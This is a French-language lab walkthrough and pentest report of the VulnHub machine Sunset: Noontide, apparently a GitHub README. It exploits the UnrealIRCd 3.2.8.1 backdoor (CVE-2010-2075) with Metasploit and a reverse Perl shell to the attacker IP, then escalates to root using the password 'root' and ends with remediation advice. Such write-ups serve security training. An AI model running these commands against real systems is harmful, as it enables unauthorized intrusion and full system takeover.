
Description Évaluation professionnelle de test d'intrusion de la machine VulnHub Sunset: Noontide, couvrant la reconnaissance, l'énumération des services, l'exploitation de CVE-2010-2075, la post-exploitation, l'élévation de privilèges et la compromission complète du système.
Une évaluation professionnelle de test d'intrusion et un walkthrough CTF de Sunset: Noontide, une machine intentionnellement vulnérable de VulnHub.
Ce projet documente le cycle complet de test d'intrusion, incluant la reconnaissance, l'énumération des services, la recherche de vulnérabilités, l'exploitation, l'accès initial, la post-exploitation, l'élévation de privilèges, la preuve de compromission, l'évaluation des risques, le mapping MITRE ATT&CK et la remédiation.
⚠️ Avertissement : Cette évaluation a été réalisée contre une machine intentionnellement vulnérable dans un environnement de laboratoire autorisé. Les techniques et commandes documentées ici sont destinées uniquement aux systèmes pour lesquels une autorisation explicite a été obtenue.
| Composant | Détails |
|---|---|
| Cible | Sunset: Noontide |
| Plateforme | VulnHub |
| IP cible | 10.106.186.186 |
| Nom d'hôte cible | noontide |
| OS cible | Debian GNU/Linux 10 (Buster) |
| Architecture | x86_64 |
| Plateforme attaquante | Kali Linux |
| IP attaquante | 10.106.186.204 |
| Type d'évaluation | Évaluation en laboratoire autorisée |
| Risque global | CRITIQUE |
| Résultat de l'évaluation | Compromission totale du système |
Découverte de la cible → Énumération Nmap → UnrealIRCd 3.2.8.1 identifié → SearchSploit → CVE-2010-2075 identifié → Exploitation Metasploit → Shell de commande distant → Shell en tant que server → Post-exploitation Linux → Identifiant root faible → su root → UID 0 / Accès root → Fichiers de preuve user et root
Une découverte réseau initiale a été effectuée pour identifier la cible vulnérable.
La cible a finalement été identifiée comme :
10.106.186.186
Lors de la reconnaissance, 10.106.186.142 a été identifié comme la passerelle par défaut plutôt que la cible visée.
Cela souligne l'importance d'identifier correctement la cible avant d'effectuer d'autres tests de sécurité, en particulier dans un réseau de laboratoire en mode bridge ou partagé.
La détection de service et de version Nmap a été effectuée contre la cible à l'aide de :
nmap -sV 10.106.186.186
Le service exposé significatif identifié lors de l'évaluation était :
6667/tcp open irc UnrealIRCd
Un scan plus détaillé a ensuite été effectué à l'aide de :
nmap -sC -sV -Pn -p 6667 10.106.186.186
Le service a été identifié comme :
UnrealIRCd 3.2.8.1
Le service IRC a également signalé :
irc.foonet.com
Le service UnrealIRCd exposé est devenu la principale surface d'attaque étudiée lors de l'évaluation.
SearchSploit a été utilisé pour étudier les vulnérabilités documentées publiquement associées à la version d'UnrealIRCd découverte.
Commande :
searchsploit UnrealIRCd 3.2.8.1
Le résultat pertinent était :
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
La vulnérabilité a été identifiée comme :
CVE-2010-2075
Exécution de commandes via backdoor dans UnrealIRCd 3.2.8.1
Critique
Exécution de commandes à distance
L'exploitation réussie du service vulnérable permet à un attaquant d'exécuter des commandes à distance sur le système cible.
Le service IRC vulnérable a été exploité à l'aide du Metasploit Framework.
Le module sélectionné était :
exploit/unix/irc/unreal_ircd_3281_backdoor
Exemple de configuration :
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
Les tentatives initiales de payload n'ont pas produit de session utilisable.
Un payload Unix reverse-Perl compatible a ensuite été sélectionné :
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
Metasploit a signalé que la cible semblait vulnérable et a ouvert avec succès une session de shell de commande.
Le shell obtenu a été vérifié à l'aide de :
whoami
Résultat :
server
Cela a confirmé l'exécution réussie de commandes à distance en tant que compte server.
Le répertoire de travail initial était :
/home/server/irc/Unreal3.2
À ce stade, l'évaluation est passée de l'exploitation d'un service distant à l'énumération de post-exploitation locale.
Après l'obtention du shell, une énumération Linux standard a été effectuée pour comprendre l'hôte compromis et identifier les chemins potentiels d'élévation de privilèges.
Commande :
id
Résultat :
uid=1000(server) gid=1000(server)
Le compte était un utilisateur non-root.
Commande :
hostname
Résultat :
noontide
Commande :
uname -a
Résultat :
Linux noontide 4.19.0-10-amd64 x86_64
Commande :
cat /etc/os-release
Résultat :
Debian GNU/Linux 10 (buster)
Ces commandes ont établi l'identité actuelle, le nom d'hôte, la version du noyau, le système d'exploitation et la configuration générale du système.
Plusieurs vérifications standard d'élévation de privilèges Linux ont été effectuées.
Commande :
find / -perm -4000 -type f 2>/dev/null
Des binaires SUID standard tels que passwd, chsh, mount, umount, su, chfn, newgrp et gpasswd ont été identifiés.
Aucun binaire SUID personnalisé ou anormal évident n'a été identifié comme le vecteur d'élévation réussi.
Commande :
sudo -l
Aucun chemin utile d'élévation de privilèges basé sur sudo n'a été identifié à partir de la sortie disponible.
Commandes :
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
Les tâches planifiées observées étaient des tâches système standard de type Debian.
Aucune tâche cron root inscriptible évidente n'a été identifiée.
Commande :
find / -writable -type f 2>/dev/null | head -100
Les résultats initiaux étaient principalement des pseudo-fichiers /proc et n'ont pas révélé de vecteur pratique d'élévation de privilèges.
Commande :
getcap -r / 2>/dev/null
Aucune élévation de privilèges utile basée sur les capacités n'a été identifiée à partir de la sortie résultante.
Le chemin d'élévation de privilèges réussi était basé sur les identifiants root intentionnellement faibles configurés sur la machine vulnérable.
Le compte root a été accédé à l'aide de :
su root
Mot de passe :
root
L'accès root a ensuite été vérifié à l'aide de :
id
Résultat :
uid=0(root) gid=0(root) groups=0(root)
L'identité a également été confirmée à l'aide de :
whoami
Résultat :
root
Cela a confirmé le contrôle administratif complet du système cible.
Le fichier de preuve au niveau utilisateur était situé à :
/home/server/local.txt
Commande :
cat /home/server/local.txt
Résultat :
c53c08b5bf2b0801c5d0c24149826a6e
Le fichier de preuve au niveau root était situé à :
/root/proof.txt
Commande :
cat /root/proof.txt
Résultat :
ab28c8ca8da1b9ffc2d702ac54221105
La preuve root a également renvoyé :
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
La récupération des deux fichiers de preuve confirme la compromission réussie depuis l'accès distant initial jusqu'au contrôle root.
| ID | Constat | Sévérité | Impact |
|---|---|---|---|
| VULN-01 | Backdoor UnrealIRCd 3.2.8.1 | 🔴 Critique | Exécution de commandes à distance |
| VULN-02 | Identifiants root faibles | 🔴 Critique | Compromission administrative complète |
Sévérité : Critique
Service affecté : IRC / TCP 6667
Logiciel affecté : UnrealIRCd 3.2.8.1
CVE : CVE-2010-2075
Type d'attaque : Exécution de commandes à distance
Impact observé : Shell distant obtenu en tant que server
Le service UnrealIRCd exposé exécutait une version vulnérable associée à une vulnérabilité connue d'exécution de commandes via backdoor.
La vulnérabilité a été identifiée par l'énumération des services et la recherche SearchSploit, et a été exploitée avec succès à l'aide de Metasploit.
Un attaquant capable d'atteindre le service IRC vulnérable pourrait exécuter des commandes à distance et obtenir un accès non autorisé à l'hôte.
Sévérité : Critique
Compte affecté : root
Identifiant observé : root / root
Impact observé : Accès administratif UID 0
Le compte root était configuré avec un identifiant extrêmement faible.
Après avoir obtenu un shell local en tant que server, le compte root a été accédé à l'aide de l'identifiant faible et vérifié avec l'UID 0.
Un attaquant qui obtient un accès shell local peut utiliser l'identifiant root faible pour obtenir le contrôle complet du système d'exploitation.
Remplacez l'installation vulnérable d'UnrealIRCd par une version fiable et prise en charge.
Vérifiez l'intégrité du logiciel et la provenance des paquets avant le déploiement.
Si l'intégrité ou la provenance du logiciel est incertaine, reconstruisez le système à l'aide de supports d'installation fiables et de paquets vérifiés.
Remplacez les identifiants par défaut et faibles par des identifiants administratifs forts et uniques.
N'utilisez pas de mots de passe simples tels que root.
Si IRC est requis, restreignez l'accès à l'aide de :
Maintenez un processus documenté de gestion des correctifs pour le système d'exploitation et tous les services exposés.
Journalisez et examinez :
L'hôte Sunset: Noontide a été compromis avec succès depuis l'accès réseau initial jusqu'au contrôle root complet.
La principale vulnérabilité d'accès initial était la backdoor UnrealIRCd 3.2.8.1 (CVE-2010-2075).
La vulnérabilité a permis l'exécution de commandes à distance et a abouti à un shell initial en tant que compte server.
L'énumération de post-exploitation a ensuite été effectuée, incluant les vérifications SUID, sudo, cron, fichiers inscriptibles, capacités Linux, identité, système d'exploitation et système de fichiers.
Ces vérifications n'ont pas identifié la route d'élévation réussie.
L'accès administratif complet a finalement été obtenu grâce aux identifiants root faibles de la machine.
La récupération réussie des deux fichiers de preuve au niveau utilisateur et au niveau root a confirmé la compromission totale du système.
CRITIQUE — Compromission totale du système atteinte
Un rapport professionnel détaillé de test d'intrusion est inclus avec ce projet :
Sunset-Noontide-Penetration-Testing-Report.pdf
Le rapport contient :
Structure de dépôt suggérée :
sunset-noontide-pentesting/
├── README.md
├── Sunset-Noontide-Penetration-Testing-Report.pdf
└── evidence/
├── 01-target-discovery.png
├── 02-nmap-enumeration.png
├── 03-searchsploit.png
├── 04-metasploit-exploitation.png
├── 05-initial-shell.png
├── 06-post-exploitation.png
├── 07-privilege-escalation.png
└── 08-root-proof.png
Les captures d'écran ne doivent contenir que des informations provenant de l'environnement de laboratoire autorisé.
Cette évaluation a fourni une expérience pratique dans :
Ce dépôt est destiné strictement à :
Les techniques documentées dans ce dépôt ne doivent être effectuées que contre des systèmes pour lesquels une autorisation explicite a été obtenue.
N'utilisez pas ces techniques contre des systèmes de production, des infrastructures publiques ou des systèmes tiers sans autorisation.
Alen Sales K S
Cybersécurité | Test d'intrusion | SOC | Sécurité réseau
GitHub : https://github.com/zales2004
Sunset: Noontide démontre un workflow complet de test d'intrusion :
Reconnaissance → Énumération → Recherche de vulnérabilités → Exploitation → Accès initial → Post-exploitation → Élévation de privilèges → Accès root → Collecte de preuves → Évaluation des risques → Rapport de sécurité
Résultat de l'évaluation : CRITIQUE — Compromission totale du système atteinte
| Technique | ID | Activité observée |
|---|
| Network Service Scanning | T1046 | Énumération Nmap |
| Exploit Public-Facing Application | T1190 | Exploitation du service UnrealIRCd exposé |
| Command and Scripting Interpreter | T1059 | Shell de commande distant |
| Valid Accounts | T1078 | Utilisation des identifiants root |
| Account Discovery | T1087 | Énumération d'identité et d'utilisateurs |
| System Information Discovery | T1082 | uname et /etc/os-release |
| File and Directory Discovery | T1083 | Énumération du système de fichiers |
| Scheduled Task/Job Discovery | T1053 | Énumération Cron |
| Permission Groups Discovery | T1069 | id et énumération des groupes |
| Phase | Activités |
|---|
| Reconnaissance | Découverte réseau et identification de la cible |
| Énumération | Détection de service/version Nmap |
| Recherche de vulnérabilités | Identification des modules SearchSploit et Metasploit |
| Exploitation | Exploitation de la backdoor UnrealIRCd |
| Accès initial | Shell de commande en tant que server |
| Post-exploitation | Énumération d'identité, d'OS, de système de fichiers et de privilèges |
| Élévation de privilèges | Vérifications SUID, sudo, cron, fichiers inscriptibles et capacités |
| Collecte de preuves | Fichiers de preuve user et root |
| Rapport | Constats, analyse des risques et remédiation |
| Objectif | Statut |
|---|
| Cible identifiée | ✅ PASS |
| Service exposé identifié | ✅ PASS |
| Version vulnérable identifiée | ✅ PASS |
| CVE identifiée | ✅ PASS |
| Exécution de commandes à distance | ✅ PASS |
Shell initial en tant que server | ✅ PASS |
| Preuve utilisateur récupérée | ✅ PASS |
| Élévation de privilèges | ✅ PASS |
| Accès root vérifié | ✅ PASS |
| Preuve root récupérée | ✅ PASS |